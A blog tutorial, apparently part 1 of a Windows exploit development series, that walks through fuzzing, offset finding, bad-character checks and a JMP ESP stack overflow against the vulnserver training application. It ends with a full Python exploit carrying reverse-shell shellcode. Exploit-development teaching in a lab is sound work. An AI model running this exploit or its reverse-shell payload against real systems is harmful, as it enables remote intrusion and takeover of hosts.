Introduction

** Welcome to part 1 of my windows exploit development series. In this post, I will go through the process of finding and exploiting a basic stack overflow in an x86 windows environment. Throughout these tutorials, you will also learn other styles of Windows exploitation.
Since there are lot of good resources out there, I skipped the theories and heading straight to practical.

I will be using vulnserver a vulnerable application specially designed for exploit development and research. You can download vulnserver from here

https://github.com/stephenbradshaw/vulnserver

My goal for this series of posts is to introduce you to the basics of finding and writing buffer-overflow exploits in the Windows environment.

##Tools Needed
** – Immunity Debugger
– Immunity Mona Module
– Text editor

Target

Our target application is running on Windows 7 Pro SP2. Let’s scan the target IP address and find the vulnerable service.

</figure>

First, let’s attach the vulnerable server application running on our target to the immunity debugger.

</figure>

Go to File > Attach and Click the service name to attach.

</figure>

## Fuzzing
** The next step is fuzzing the vulnerable server and monitor for a crash in the Immunity debugger. To automate the fuzzing process I wrote a simple fuzzing script in python.
We can use a fuzzing framework like Sulley, SPIKE or Boofuzz for automating the fuzzing process, but for this tutorials, I will stick with a simple script.

from time import sleep
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(1)
print s.recv(1024)
junk = 'A' * 3000
s.send(('TRUN .' + junk + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

The above code simply makes a connection to the server running on port 9999 and send a bunch of junk. This simple script triggers a vulnerability in the TRUN command of the vulnerable server running on our target.

Run the fuzzing script and monitor it from the debugger for crashes.

</figure>

Great as you can see we have successfully overwritten EIP with 41414141 since A’s hex representation in ASCII is 0x41.
EIP is the register that holds the value of the address of the next instruction. The next step is finding the offset, the exact bytes of data it took to overwrite the return pointer.
There are many ways to find the offset, we will be using pattern_offset and pattern_create of the Metasploit framework.

## Finding the offset
Let’s modify our fuzzing script to send a unique pattern created using MSF pattern_create tool and re-run the script. Please note that, before you run fuzzing script, every time you need to restart your debugger and vulnerable application, simply go to Debug from the menu and restart or Ctrl+F2

</figure>

#!/usr/bin/python
import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(1)
print s.recv(1024)
junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9'
s.send(('TRUN .' + junk + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

</figure>

Great as you can see ESP register is overwritten with a random string, The next step is to find the offset of the EIP register in order to gain full control of it and to obtain code execution. To find offset copy and past the value in EIP registers to MSF pattern_offset.

</figure>

As we can see from the above output EIP overwrite occurred in 2006 bytes into our data.
Now let’s modify our skeleton exploit to confirm this.

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006
EIP = 'B' * 4
s.send(('TRUN .' + junk + EIP +'\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()</code></pre>

We have modified our skeleton exploits to send 2006 A and then 4 B’s, if everything is working as it should now when we run our exploit, we should see 42424242 in EIP which is 4 B’s (B * 4).

</figure>

Great now it is confirmed that we have full control over the instruction pointer. The next step is executing a malicious shellcode in memory to get a reverse shell.

Analyzing Bad characters

Before we go any further, we should identify bad characters or specific characters that could break our payload and cause unintended behavior. ex: null-byte \x00
To identify the bad characters, let’s generate a byte array containing all possible characters. We will use !mona for this task,

</figure>

Let’s modify our buffer once again and see what happens! so we will keep our 2006 “A”s and 4 “B”s, and then add all of our characters after that.

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006
EIP = 'B' * 4
badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
s.send(('TRUN .' + junk + EIP + badchars + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

</figure>

Right-click and follow the dump

Heads up there are no bad-characters in vulnserver except  “\x00”, We can see every single character from “\x01” to “\xFF” in the memory dump.
I will write about how to find and deal with bad-characters in a separate post.

Jumping to the Shellcode

Why jump ESP?

JMP ESP gives a more reliable exploit than repeatedly trying to guess a return address every time. JMP ESP will make the program start executing the code that is pointed by ESP.
We need to find JMP ESP from a module without ASLR and DEP enabled and also it should not contain bad characters within the memory address.
DEP and ASLR are used to protect against buffer-overflow attacks. Bypassing these protections is out of scope for this post.

To list all modules information type the following command in immunity debugger command windows.

!mona modules
[](https://blog.ptrace.net/wp-content/uploads/2020/01/dll.png)

To list all executable loaded with the program, click Alt+E in the immunity debugger.

</figure>

From loaded modules, we can see most of the modules Adress-Space Layout Randomization (ASLR) is enabled, except essfunc.dll which comes with our vulnerable program and it does not contain any bad characters.
We can see 9 JMP ESP pointers essecfun.dll which we can use, it doesn’t really matter which one we use since none of them have bad characters. I will select the first one 0x625011af (\xaf\x11\x50\x62) we need to write this address in reverse order due to endianness.
We can verify if this is indeed a JMP ESP by simply going to that memory address from the immunity debugger.

</figure>

Intel JMP ESP has machine or opcode of ffe4. Using NASM we can determine the HEX code for JMP ESP instruction.

</figure>

Generate shellcode with the following command, keeping in mind that we need to exclude the identified bad characters if there is any.

</figure>

Let’s add the generated shellcode to the script and update. This shellcode will spawn a reverse_shell back to the attacker machine.

Start netcat listener on port 443 and fire-up the exploit, we should get a reverse shell back from our victim machine.

</figure>

import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(0.75)
print s.recv(1024)
junk = 'A' * 2006 
EIP = "\xaf\x11\x50\x62" #JMP ESP
nops = "\x90" * 20 #nops sled
buf =  b""
buf += b"\xb8\xa6\xf0\x5d\x3d\xd9\xc8\xd9\x74\x24\xf4\x5d\x33"
buf += b"\xc9\xb1\x52\x31\x45\x12\x03\x45\x12\x83\x63\xf4\xbf"
buf += b"\xc8\x97\x1d\xbd\x33\x67\xde\xa2\xba\x82\xef\xe2\xd9"
buf += b"\xc7\x40\xd3\xaa\x85\x6c\x98\xff\x3d\xe6\xec\xd7\x32"
buf += b"\x4f\x5a\x0e\x7d\x50\xf7\x72\x1c\xd2\x0a\xa7\xfe\xeb"
buf += b"\xc4\xba\xff\x2c\x38\x36\xad\xe5\x36\xe5\x41\x81\x03"
buf += b"\x36\xea\xd9\x82\x3e\x0f\xa9\xa5\x6f\x9e\xa1\xff\xaf"
buf += b"\x21\x65\x74\xe6\x39\x6a\xb1\xb0\xb2\x58\x4d\x43\x12"
buf += b"\x91\xae\xe8\x5b\x1d\x5d\xf0\x9c\x9a\xbe\x87\xd4\xd8"
buf += b"\x43\x90\x23\xa2\x9f\x15\xb7\x04\x6b\x8d\x13\xb4\xb8"
buf += b"\x48\xd0\xba\x75\x1e\xbe\xde\x88\xf3\xb5\xdb\x01\xf2"
buf += b"\x19\x6a\x51\xd1\xbd\x36\x01\x78\xe4\x92\xe4\x85\xf6"
buf += b"\x7c\x58\x20\x7d\x90\x8d\x59\xdc\xfd\x62\x50\xde\xfd"
buf += b"\xec\xe3\xad\xcf\xb3\x5f\x39\x7c\x3b\x46\xbe\x83\x16"
buf += b"\x3e\x50\x7a\x99\x3f\x79\xb9\xcd\x6f\x11\x68\x6e\xe4"
buf += b"\xe1\x95\xbb\xab\xb1\x39\x14\x0c\x61\xfa\xc4\xe4\x6b"
buf += b"\xf5\x3b\x14\x94\xdf\x53\xbf\x6f\x88\x9b\xe8\xab\xce"
buf += b"\x74\xeb\x33\xce\x3f\x62\xd5\xba\x2f\x23\x4e\x53\xc9"
buf += b"\x6e\x04\xc2\x16\xa5\x61\xc4\x9d\x4a\x96\x8b\x55\x26"
buf += b"\x84\x7c\x96\x7d\xf6\x2b\xa9\xab\x9e\xb0\x38\x30\x5e"
buf += b"\xbe\x20\xef\x09\x97\x97\xe6\xdf\x05\x81\x50\xfd\xd7"
buf += b"\x57\x9a\x45\x0c\xa4\x25\x44\xc1\x90\x01\x56\x1f\x18"
buf += b"\x0e\x02\xcf\x4f\xd8\xfc\xa9\x39\xaa\x56\x60\x95\x64"
buf += b"\x3e\xf5\xd5\xb6\x38\xfa\x33\x41\xa4\x4b\xea\x14\xdb"
buf += b"\x64\x7a\x91\xa4\x98\x1a\x5e\x7f\x19\x2a\x15\xdd\x08"
buf += b"\xa3\xf0\xb4\x08\xae\x02\x63\x4e\xd7\x80\x81\x2f\x2c"
buf += b"\x98\xe0\x2a\x68\x1e\x19\x47\xe1\xcb\x1d\xf4\x02\xde"
s.send(('TRUN .' + junk + EIP + nops + buf + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

Conclusion

That’s it for Part 1 of this series. I hope you enjoyed this initial intro to exploit development. Until next time, happy hacking.

All code for this post available from my github repo https://github.com/d3b4g/WindowsExploit-dev